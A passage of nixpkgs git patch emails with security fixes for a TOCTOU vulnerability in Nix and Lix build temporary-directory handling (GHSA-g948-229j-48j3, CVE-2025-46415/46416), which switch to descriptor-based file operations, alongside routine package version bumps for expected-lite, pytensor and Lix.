= dirOf(path.string()); +- if (dir == "") +- dir = "/"; ++ assert(path.is_absolute()); ++ assert(path.parent_path() != path); + +- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); ++ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); + if (!dirfd) { + if (errno == ENOENT) return; +- throw SysError("opening directory '%1%'", path); ++ throw SysError("opening directory %s", path.parent_path()); + } + + _deletePath(dirfd.get(), path, bytesFreed); +diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh +index e6b1cfef3..9a0057bbe 100644 +--- a/src/libutil/include/nix/util/file-system.hh ++++ b/src/libutil/include/nix/util/file-system.hh +@@ -193,21 +193,27 @@ std::string readFile(const Path & path); + std::string readFile(const std::filesystem::path & path); + void readFile(const Path & path, Sink & sink); + ++enum struct FsSync { Yes, No }; ++ + /** + * Write a string to a file. + */ +-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); +-static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) ++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No) + { + return writeFile(path.string(), s, mode, sync); + } + +-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); +-static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false) ++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No) + { + return writeFile(path.string(), source, mode, sync); + } + ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ + /** + * Flush a path's parent directory to disk. + */ +-- +2.44.1 + From 923146e9275bd0a4331669c1c9f800fe59253b23 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Sun, 22 Jun 2025 18:52:59 +0200 Subject: [PATCH 329/390] nixComponents_2_29: add patch for GHSA-g948-229j-48j3 This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's build system that could potentially allow privilege escalation or unauthorized file access during the build process. The patch includes: - Safe file operations using file descriptors - Secure temporary directory handling - Safe chown operations - PassAsFile security improvements - Path validation fixes --- pkgs/tools/package-management/nix/default.nix | 28 +- .../patches/ghsa-g948-229j-48j3-2.29.patch | 449 ++++++++++++++++++ 2 files changed, 464 insertions(+), 13 deletions(-) create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 97fb2eac30ef..449da9289815 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -189,19 +189,21 @@ lib.makeExtensible ( self_attribute_name = "nix_2_28"; }; - nixComponents_2_29 = nixDependencies.callPackage ./modular/packages.nix rec { - version = "2.29.0"; - inherit (self.nix_2_24.meta) maintainers teams; - otherSplices = generateSplicesForNixComponents "nixComponents_2_29"; - src = fetchFromGitHub { - # FIXME: back to NixOS org once they fix it - owner = "vcunat"; - repo = "nix"; - rev = "p/jq-1.8.0"; # just a tiny test-only patch atop 2.29.0 - # see https://github.com/NixOS/nix/pull/13371 - hash = "sha256-F2ZODsET4cBsgsyOi8Sg/quESU0DnrYri0hYniqu37k="; - }; - }; + nixComponents_2_29 = + (nixDependencies.callPackage ./modular/packages.nix rec { + version = "2.29.0"; + inherit (self.nix_2_24.meta) maintainers teams; + otherSplices = generateSplicesForNixComponents "nixComponents_2_29"; + src = fetchFromGitHub { + # FIXME: back to NixOS org once they fix it + owner = "vcunat"; + repo = "nix"; + rev = "p/jq-1.8.0"; # just a tiny test-only patch atop 2.29.0 + # see https://github.com/NixOS/nix/pull/13371 + hash = "sha256-F2ZODsET4cBsgsyOi8Sg/quESU0DnrYri0hYniqu37k="; + }; + }).appendPatches + [ ./patches/ghsa-g948-229j-48j3-2.29.patch ]; nix_2_29 = addTests "nix_2_29" self.nixComponents_2_29.nix-everything; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch new file mode 100644 index 000000000000..265c2580cfe7 --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.29.patch @@ -0,0 +1,449 @@ +From 01619fbe2dc06b79609b95b6f95ddbf4e871e762 Mon Sep 17 00:00:00 2001 +From: Eelco Dolstra +Date: Thu, 19 Jun 2025 16:20:34 +0200 +Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Squashed commit of the following: + +commit 04fff3a637d455cbb1d75937a235950e43008db9 +Author: Eelco Dolstra +Date: Thu Jun 12 12:30:32 2025 +0200 + + Chown structured attr files safely + +commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 +Author: Eelco Dolstra +Date: Thu Jun 12 12:14:04 2025 +0200 + + Replace 'bool sync' with an enum for clarity + + And drop writeFileAndSync(). + +commit 7ae0141f328d8e8e1094be24665789c05f974ba6 +Author: Eelco Dolstra +Date: Thu Jun 12 11:35:28 2025 +0200 + + Drop guessOrInventPathFromFD() + + No need to do hacky stuff like that when we already know the original path. + +commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 +Author: Eelco Dolstra +Date: Thu Jun 12 11:15:58 2025 +0200 + + Tweak comment + +commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 +Author: Raito Bezarius +Date: Thu Mar 27 12:22:26 2025 +0100 + + libstore: ensure that temporary directory is always 0o000 before deletion + + In the case the deletion fails, we should ensure that the temporary + directory cannot be used for nefarious purposes. + + Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 + Signed-off-by: Raito Bezarius + +commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e +Author: Raito Bezarius +Date: Wed Mar 26 12:42:55 2025 +0100 + + libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds + + When calling `_deletePath` with a parent file descriptor, `openat` is + made effective by using relative paths to the directory file descriptor. + + To avoid the problem, the signature is changed to resist misuse with an + assert in the prologue of the function. + + Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 + Signed-off-by: Raito Bezarius + +commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea +Author: Raito Bezarius +Date: Wed Mar 26 01:07:47 2025 +0100 + + libstore: ensure that `passAsFile` is created in the original temp dir + + This ensures that `passAsFile` data is created inside the expected + temporary build directory by `openat()` from the parent directory file + descriptor. + + This avoids a TOCTOU which is part of the attack chain of CVE-????. + + Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a + Signed-off-by: Raito Bezarius + +commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 +Author: Raito Bezarius +Date: Wed Mar 26 01:06:03 2025 +0100 + + libutil: writeFile variant for file descriptors + + `writeFile` lose its `sync` boolean flag to make things simpler. + + A new `writeFileAndSync` function is created and all call sites are + converted to it. + + Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 + Signed-off-by: Raito Bezarius + +commit 732bd9b98cabf4aaf95a01fd318923de303f9996 +Author: Raito Bezarius +Date: Wed Mar 26 01:05:34 2025 +0100 + + libstore: chown to builder variant for file descriptors + + We use it immediately for the build temporary directory. + + Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 + Signed-off-by: Raito Bezarius + +commit 962c65f8dcd5570dd92c72370a862c7b38942e0d +Author: Raito Bezarius +Date: Wed Mar 26 01:04:59 2025 +0100 + + libstore: open build directory as a dirfd as well + + We now keep around a proper AutoCloseFD around the temporary directory + which we plan to use for openat operations and avoiding the build + directory being swapped out while we are doing something else. + + Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a + Signed-off-by: Raito Bezarius + +commit c9b42462b75b5a37ee6564c2b53cff186c8323da +Author: Raito Bezarius +Date: Wed Mar 26 01:04:12 2025 +0100 + + libutil: guess or invent a path from file descriptors + + This is useful for certain error recovery paths (no pun intended) that + does not thread through the original path name. + + Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e + Signed-off-by: Raito Bezarius + +Signed-off-by: Jörg Thalheim +--- + src/libstore/local-store.cc | 4 +- + src/libstore/unix/build/derivation-builder.cc | 66 ++++++++++++++++--- + src/libutil/file-content-address.cc | 2 +- + src/libutil/file-system.cc | 47 +++++++------ + src/libutil/include/nix/util/file-system.hh | 14 ++-- + 5 files changed, 98 insertions(+), 35 deletions(-) + +diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc +index 76fadba86..1ab3ed13a 100644 +--- a/src/libstore/local-store.cc ++++ b/src/libstore/local-store.cc +@@ -247,7 +247,7 @@ LocalStore::LocalStore(ref config) + else if (curSchema == 0) { /* new store */ + curSchema = nixSchemaVersion; + openDB(*state, true); +- writeFile(schemaPath, fmt("%1%", curSchema), 0666, true); ++ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); + } + + else if (curSchema < nixSchemaVersion) { +@@ -298,7 +298,7 @@ LocalStore::LocalStore(ref config) + txn.commit(); + } + +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); + + lockFile(globalLock.get(), ltRead, true); + } +diff --git a/src/libstore/unix/build/derivation-builder.cc b/src/libstore/unix/build/derivation-builder.cc +index 58e8d8ba6..856bc81c3 100644 +--- a/src/libstore/unix/build/derivation-builder.cc ++++ b/src/libstore/unix/build/derivation-builder.cc +@@ -129,6 +129,11 @@ private: + */ + Path topTmpDir; + ++ /** ++ * The file descriptor of the temporary directory. ++ */ ++ AutoCloseFD tmpDirFd; ++ + /** + * The path of the temporary directory in the sandbox. + */ +@@ -325,9 +330,24 @@ private: + + /** + * Make a file owned by the builder. ++ * ++ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. ++ * It's only safe to call in a child of a directory only visible to the owner. + */ + void chownToBuilder(const Path & path); + ++ /** ++ * Make a file owned by the builder addressed by its file descriptor. ++ */ ++ void chownToBuilder(int fd, const Path & path); ++ ++ /** ++ * Create a file in `tmpDir` owned by the builder. ++ */ ++ void writeBuilderFile( ++ const std::string & name, ++ std::string_view contents); ++ + /** + * Run the builder's process. + */ +@@ -895,7 +915,14 @@ void DerivationBuilderImpl::startBuilder() + } else { + tmpDir = topTmpDir; + } +- chownToBuilder(tmpDir); ++ ++ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to ++ POSIX semantics.*/ ++ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; ++ if (!tmpDirFd) ++ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); ++ ++ chownToBuilder(tmpDirFd.get(), tmpDir); + + for (auto & [outputName, status] : initialOutputs) { + /* Set scratch path we'll actually use during the build. +@@ -1469,9 +1496,7 @@ void DerivationBuilderImpl::initTmpDir() + } else { + auto hash = hashString(HashAlgorithm::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); +- Path p = tmpDir + "/" + fn; +- writeFile(p, rewriteStrings(i.second, inputRewrites)); +- chownToBuilder(p); ++ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); + env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; + } + } +@@ -1580,11 +1605,9 @@ void DerivationBuilderImpl::writeStructuredAttrs() + + auto jsonSh = StructuredAttrs::writeShell(json); + +- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.sh"); ++ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); + env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; +- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.json"); ++ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); + env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; + } + } +@@ -1838,6 +1861,24 @@ void setupSeccomp() + #endif + } + ++void DerivationBuilderImpl::chownToBuilder(int fd, const Path & path) ++{ ++ if (!buildUser) return; ++ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) ++ throw SysError("cannot change ownership of file '%1%'", path); ++} ++ ++void DerivationBuilderImpl::writeBuilderFile( ++ const std::string & name, ++ std::string_view contents) ++{ ++ auto path = std::filesystem::path(tmpDir) / name; ++ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; ++ if (!fd) ++ throw SysError("creating file %s", path); ++ writeFile(fd, path, contents); ++ chownToBuilder(fd.get(), path); ++} + + void DerivationBuilderImpl::runChild() + { +@@ -3043,6 +3084,15 @@ void DerivationBuilderImpl::checkOutputs(const std::mapd_name; + if (childName == "." || childName == "..") continue; +- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); ++ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); + } + if (errno) throw SysError("reading directory %1%", path); + } +@@ -490,14 +498,13 @@ static void _deletePath(Descriptor parentfd, const std::filesystem::path & path, + + static void _deletePath(const std::filesystem::path & path, uint64_t & bytesFreed) + { +- Path dir = dirOf(path.string()); +- if (dir == "") +- dir = "/"; ++ assert(path.is_absolute()); ++ assert(path.parent_path() != path); + +- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); ++ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); + if (!dirfd) { + if (errno == ENOENT) return; +- throw SysError("opening directory '%1%'", path); ++ throw SysError("opening directory %s", path.parent_path()); + } + + _deletePath(dirfd.get(), path, bytesFreed); +diff --git a/src/libutil/include/nix/util/file-system.hh b/src/libutil/include/nix/util/file-system.hh +index b8fa4cfa0..a9a6e43bf 100644 +--- a/src/libutil/include/nix/util/file-system.hh ++++ b/src/libutil/include/nix/util/file-system.hh +@@ -175,21 +175,27 @@ std::string readFile(const Path & path); + std::string readFile(const std::filesystem::path & path); + void readFile(const Path & path, Sink & sink, bool memory_map = true); + ++enum struct FsSync { Yes, No }; ++ + /** + * Write a string to a file. + */ +-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); +-static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) ++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No) + { + return writeFile(path.string(), s, mode, sync); + } + +-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); +-static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false) ++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No) + { + return writeFile(path.string(), source, mode, sync); + } + ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ + /** + * Flush a path's parent directory to disk. + */ +-- +2.44.1 + From ccae07c83616b952afce5cfea6ae4d1894f1bc76 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 14:18:13 +0000 Subject: [PATCH 330/390] expected-lite: 0.8.0 -> 0.9.0 --- pkgs/by-name/ex/expected-lite/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ex/expected-lite/package.nix b/pkgs/by-name/ex/expected-lite/package.nix index 80e94ff8815d..a221daa4ba56 100644 --- a/pkgs/by-name/ex/expected-lite/package.nix +++ b/pkgs/by-name/ex/expected-lite/package.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "expected-lite"; - version = "0.8.0"; + version = "0.9.0"; src = fetchFromGitHub { owner = "martinmoene"; repo = "expected-lite"; rev = "v${version}"; - hash = "sha256-8Lf+R7wC7f2YliXqhR6pwVVSLZ6qheu7YOV5jHc0Cjc="; + hash = "sha256-LRXxUaDQT5q9dXK2uYFvCgEuGWEHKr95lfdGTGjke0g="; }; nativeBuildInputs = [ From b5e3be03a0fcba21623db9b641d980b48d67afd9 Mon Sep 17 00:00:00 2001 From: Gaetan Lepage Date: Tue, 24 Jun 2025 15:49:56 +0200 Subject: [PATCH 331/390] python3Packages.pytensor: 2.31.3 -> 2.31.4 Diff: https://github.com/pymc-devs/pytensor/compare/refs/tags/rel-2.31.3...rel-2.31.4 Changelog: https://github.com/pymc-devs/pytensor/releases/tag/rel-2.31.4 --- .../python-modules/pytensor/default.nix | 145 ++++++++---------- 1 file changed, 68 insertions(+), 77 deletions(-) diff --git a/pkgs/development/python-modules/pytensor/default.nix b/pkgs/development/python-modules/pytensor/default.nix index 1f1c456b99ef..61e040f5294c 100644 --- a/pkgs/development/python-modules/pytensor/default.nix +++ b/pkgs/development/python-modules/pytensor/default.nix @@ -33,7 +33,7 @@ buildPythonPackage rec { pname = "pytensor"; - version = "2.31.3"; + version = "2.31.4"; pyproject = true; src = fetchFromGitHub { @@ -43,7 +43,7 @@ buildPythonPackage rec { postFetch = '' sed -i 's/git_refnames = "[^"]*"/git_refnames = " (tag: ${src.tag})"/' $out/pytensor/_version.py ''; - hash = "sha256-tvK8UzJZvX9X2NKgqkyhi0ZzAb38Lu0ULze4L1Z3YfU="; + hash = "sha256-wHkEZqgnau8DaoOaSFg0Ma6EtjGLmc+y4fskNEyk7yg="; }; build-system = [ @@ -82,81 +82,72 @@ buildPythonPackage rec { rm -rf pytensor ''; - disabledTests = - [ - # ValueError: dtype attribute is not a valid dtype instance - "test_AddDS" - "test_AddSD" - "test_add_sd" - "test_grad" - "test_rop" - ] - ++ lib.optionals stdenv.hostPlatform.isDarwin [ - # pytensor.link.c.exceptions.CompileError: Compilation failed (return status=1) - "OpFromGraph" - "add" - "cls_ofg1" - "direct" - "multiply" - "test_AddDS" - "test_AddSD" - "test_AddSS" - "test_MulDS" - "test_MulSD" - "test_MulSS" - "test_NoOutputFromInplace" - "test_OpFromGraph" - "test_adv_sub1_sparse_grad" - "test_alloc" - "test_binary" - "test_borrow_input" - "test_borrow_output" - "test_cache_race_condition" - "test_check_for_aliased_inputs" - "test_clinker_literal_cache" - "test_csm_grad" - "test_csm_unsorted" - "test_csr_dense_grad" - "test_debugprint" - "test_ellipsis_einsum" - "test_empty_elemwise" - "test_flatten" - "test_fprop" - "test_get_item_list_grad" - "test_grad" - "test_infer_shape" - "test_jax_pad" - "test_kron" - "test_masked_input" - "test_max" - "test_modes" - "test_mul_s_v_grad" - "test_multiple_outputs" - "test_not_inplace" - "test_numba_Cholesky_grad" - "test_numba_pad" - "test_optimizations_preserved" - "test_overided_function" - "test_potential_output_aliasing_induced_by_updates" - "test_profiling" - "test_rebuild_strict" - "test_runtime_broadcast_c" - "test_scan_err1" - "test_scan_err2" - "test_shared" - "test_size_implied_by_broadcasted_parameters" - "test_solve_triangular_grad" - "test_structured_add_s_v_grad" - "test_structureddot_csc_grad" - "test_structureddot_csr_grad" - "test_sum" - "test_swap_SharedVariable_with_given" - "test_test_value_op" - "test_unary" - "test_unbroadcast" - "test_update_equiv" - "test_update_same" - ]; + disabledTests = lib.optionals stdenv.hostPlatform.isDarwin [ + # pytensor.link.c.exceptions.CompileError: Compilation failed (return status=1) + "OpFromGraph" + "add" + "cls_ofg1" + "direct" + "multiply" + "test_AddDS" + "test_AddSD" + "test_AddSS" + "test_MulDS" + "test_MulSD" + "test_MulSS" + "test_NoOutputFromInplace" + "test_OpFromGraph" + "test_adv_sub1_sparse_grad" + "test_alloc" + "test_binary" + "test_borrow_input" + "test_borrow_output" + "test_cache_race_condition" + "test_check_for_aliased_inputs" + "test_clinker_literal_cache" + "test_csm_grad" + "test_csm_unsorted" + "test_csr_dense_grad" + "test_debugprint" + "test_ellipsis_einsum" + "test_empty_elemwise" + "test_flatten" + "test_fprop" + "test_get_item_list_grad" + "test_grad" + "test_infer_shape" + "test_jax_pad" + "test_kron" + "test_masked_input" + "test_max" + "test_modes" + "test_mul_s_v_grad" + "test_multiple_outputs" + "test_not_inplace" + "test_numba_Cholesky_grad" + "test_numba_pad" + "test_optimizations_preserved" + "test_overided_function" + "test_potential_output_aliasing_induced_by_updates" + "test_profiling" + "test_rebuild_strict" + "test_runtime_broadcast_c" + "test_scan_err1" + "test_scan_err2" + "test_shared" + "test_size_implied_by_broadcasted_parameters" + "test_solve_triangular_grad" + "test_structured_add_s_v_grad" + "test_structureddot_csc_grad" + "test_structureddot_csr_grad" + "test_sum" + "test_swap_SharedVariable_with_given" + "test_test_value_op" + "test_unary" + "test_unbroadcast" + "test_update_equiv" + "test_update_same" + ]; disabledTestPaths = [ # Don't run the most compute-intense tests From c2da8de4d1d618e830b0a18e09626e2fbdf6560b Mon Sep 17 00:00:00 2001 From: Raito Bezarius Date: Tue, 24 Jun 2025 15:43:15 +0200 Subject: [PATCH 332/390] lixPackageSets.lix_2_90: mark as vulnerable Change-Id: I10fedc7098aaddb0df67acb76fe730ddd8883319 Signed-off-by: Raito Bezarius --- pkgs/tools/package-management/lix/common-lix.nix | 2 ++ pkgs/tools/package-management/lix/default.nix | 4 ++++ 2 files changed, 6 insertions(+) diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix index 9b666e5e78fb..077c4617698c 100644 --- a/pkgs/tools/package-management/lix/common-lix.nix +++ b/pkgs/tools/package-management/lix/common-lix.nix @@ -9,6 +9,7 @@ # `lix-doc`. docCargoDeps ? null, patches ? [ ], + knownVulnerabilities ? [ ], }@args: assert lib.assertMsg ( @@ -389,5 +390,6 @@ stdenv.mkDerivation (finalAttrs: { platforms = lib.platforms.unix; outputsToInstall = [ "out" ] ++ lib.optional enableDocumentation "man"; mainProgram = "nix"; + inherit knownVulnerabilities; }; }) diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index c6d905d78048..44003670e12d 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -133,6 +133,10 @@ lib.makeExtensible (self: { sourceRoot = "${src.name or src}/lix-doc"; hash = "sha256-VPcrf78gfLlkTRrcbLkPgLOk0o6lsOJBm6HYLvavpNU="; }; + + knownVulnerabilities = [ + "Lix 2.90 is vulnerable to CVE-2025-46415 and CVE-2025-46416 and will not receive updates." + ]; }; nix-eval-jobs-args = { From be4026079c96792b6cc0723bd3b40c72b8202060 Mon Sep 17 00:00:00 2001 From: Raito Bezarius Date: Tue, 24 Jun 2025 15:43:37 +0200 Subject: [PATCH 333/390] lixPackageSets.lix_2_91: patch for CVE-2025-4641{5,6} Change-Id: I8042bca710f047ca3c312c6fa7c8227d96f328d4 Signed-off-by: Raito Bezarius --- pkgs/tools/package-management/lix/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index 44003670e12d..6deb817e9151 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -154,13 +154,13 @@ lib.makeExtensible (self: { attrName = "lix_2_91"; lix-args = rec { - version = "2.91.1"; + version = "2.91.2"; src = fetchFromGitHub { owner = "lix-project"; repo = "lix"; rev = version; - hash = "sha256-hiGtfzxFkDc9TSYsb96Whg0vnqBVV7CUxyscZNhed0U="; + hash = "sha256-TkRjskDnxMPugdLQE/LqIh59RYQFJLYpIuL8YZva2lM="; }; docCargoDeps = rustPlatform.fetchCargoVendor { From 69bd6a53159da314523febbaa597810952131c34 Mon Sep 17 00:00:00 2001 From: Raito Bezarius Date: Tue, 24 Jun 2025 15:44:48 +0200 Subject: [PATCH 334/390] lixPackageSets.lix_2_93: patch for CVE-2025-4641{5,6} Change-Id: I724ca7bc993594d8b1b262202e423021f6288548 Signed-off-by: Raito Bezarius --- pkgs/tools/package-management/lix/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index 6deb817e9151..00876663b1b0 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -216,14 +216,14 @@ lib.makeExtensible (self: { attrName = "lix_2_93"; lix-args = rec { - version = "2.93.0"; + version = "2.93.1"; src = fetchFromGitea { domain = "git.lix.systems"; owner = "lix-project"; repo = "lix"; rev = version; - hash = "sha256-hsFe4Tsqqg4l+FfQWphDtjC79WzNCZbEFhHI8j2KJzw="; + hash = "sha256-LmQhjQ7c+AOkwhvR9GFgJOy8oHW35MoQRELtrwyVnPw="; }; cargoDeps = rustPlatform.fetchCargoVendor { From dc090e801c261f2bb6f7593062fc6215db73c2bd Mon Sep 17 00:00:00 2001 From: Raito Bezarius Date: Tue, 24 Jun 2025 16:22:39 +0200 Subject: [PATCH 335/390] lixPackageSets.lix_2_92: patch for CVE-2025-4641{5,6} Change-Id: Ie7ec879d499be1e67982871659f3a414157a329d Signed-off-by: Raito Bezarius --- pkgs/tools/package-management/lix/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index 00876663b1b0..b5e92d698bff 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -186,13 +186,13 @@ lib.makeExtensible (self: { attrName = "lix_2_92"; lix-args = rec { - version = "2.92.0"; + version = "2.92.2"; src = fetchFromGitHub { owner = "lix-project"; repo = "lix"; rev = version; - hash = "sha256-CCKIAE84dzkrnlxJCKFyffAxP3yfsOAbdvydUGqq24g="; + hash = "sha256-D7YepvFkGE4K1rOkEYA1P6wGj/eFbQXb03nLdBRjjwA="; }; cargoDeps = rustPlatform.fetchCargoVendor { From cafe161f051c38854b93079d71603781ae14e03a Mon Sep 17 00:00:00 2001 From: Raito Bezarius Date: Tue, 24 Jun 2025 16:23:24 +0200 Subject: [PATCH 336/390] lixPackageSets.git: patch for CVE-2025-4641{5,6} Change-Id: I5990ddd1d7eb16ca5023d4496550d67c4e361bc9 Signed-off-by: Raito Bezarius --- pkgs/tools/package-management/lix/default.nix | 4 + .../LIX_HEAD_CVE-2025-46415_46416.patch | 2363 +++++++++++++++++ 2 files changed, 2367 insertions(+) create mode 100644 pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index b5e92d698bff..b348407056f3 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -253,6 +253,10 @@ lib.makeExtensible (self: { inherit src; hash = "sha256-YMyNOXdlx0I30SkcmdW/6DU0BYc3ZOa2FMJSKMkr7I8="; }; + + patches = [ + ./patches/LIX_HEAD_CVE-2025-46415_46416.patch + ]; }; }; diff --git a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch new file mode 100644 index 000000000000..130aa2e5eaf3 --- /dev/null +++ b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch @@ -0,0 +1,2363 @@ +From c7976e63a3d93386b2811dba2b92ba452c561696 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:04:12 +0100 +Subject: [SECURITY FIX 01/12] libutil: guess or invent a path from file + descriptors + +This is useful for certain error recovery paths (no pun intended) that +does not thread through the original path name. + +Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e +Signed-off-by: Raito Bezarius +--- + lix/libutil/file-descriptor.cc | 23 ++++++++++ + lix/libutil/file-descriptor.hh | 18 ++++++++ + meson.build | 5 +++ + tests/unit/libutil/tests.cc | 81 ++++++++++++++++++++++++++++++++++ + 4 files changed, 127 insertions(+) + +diff --git a/lix/libutil/file-descriptor.cc b/lix/libutil/file-descriptor.cc +index 39a4e0bdd..83496b6a6 100644 +--- a/lix/libutil/file-descriptor.cc ++++ b/lix/libutil/file-descriptor.cc +@@ -155,6 +155,29 @@ int AutoCloseFD::get() const + return fd; + } + ++std::string guessOrInventPathFromFD(int fd) ++{ ++ assert(fd >= 0); ++ /* On Linux, there's no F_GETPATH available. ++ * But we can read /proc/ */ ++#if __linux__ ++ try { ++ return readLink(fmt("/proc/self/fd/%1%", fd).c_str()); ++ } catch (...) { ++ } ++#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH ++ std::string fdName(PATH_MAX, '\0'); ++ if (fcntl(fd, F_GETPATH, fdName.data()) != -1) { ++ fdName.resize(strlen(fdName.c_str())); ++ return fdName; ++ } ++#else ++#error "No implementation for retrieving file descriptors path." ++#endif ++ ++ return fmt("", fd); ++} ++ + + void AutoCloseFD::close() + { +diff --git a/lix/libutil/file-descriptor.hh 